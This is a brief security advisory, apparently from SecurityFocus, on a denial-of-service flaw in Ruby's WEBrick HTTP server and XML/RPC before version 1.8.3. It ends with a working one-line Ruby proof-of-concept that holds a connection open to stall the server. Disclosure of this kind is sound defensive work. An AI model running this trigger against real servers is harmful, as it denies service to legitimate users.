source: https://www.securityfocus.com/bid/17645/info

Ruby is affected by a denial-of-service vulnerability in the WEBrick HTTP server. This issue is due to the use of blocking network operations. Ruby's implementation of XML/RPC is also affected, since it uses the vulnerable WEBrick server.

This issue allows remote attackers to cause affected webservers to fail to respond to further legitimate requests.

Ruby versions prior to 1.8.3 are affected by this issue.

The following Ruby command will issue a request sufficient to trigger this issue:

ruby -rsocket -e 'TCPSocket.open("www.example.com", 10080) {|s|
s.print "GET /z HTTP/1.0\r\n\r\n"
sleep
}'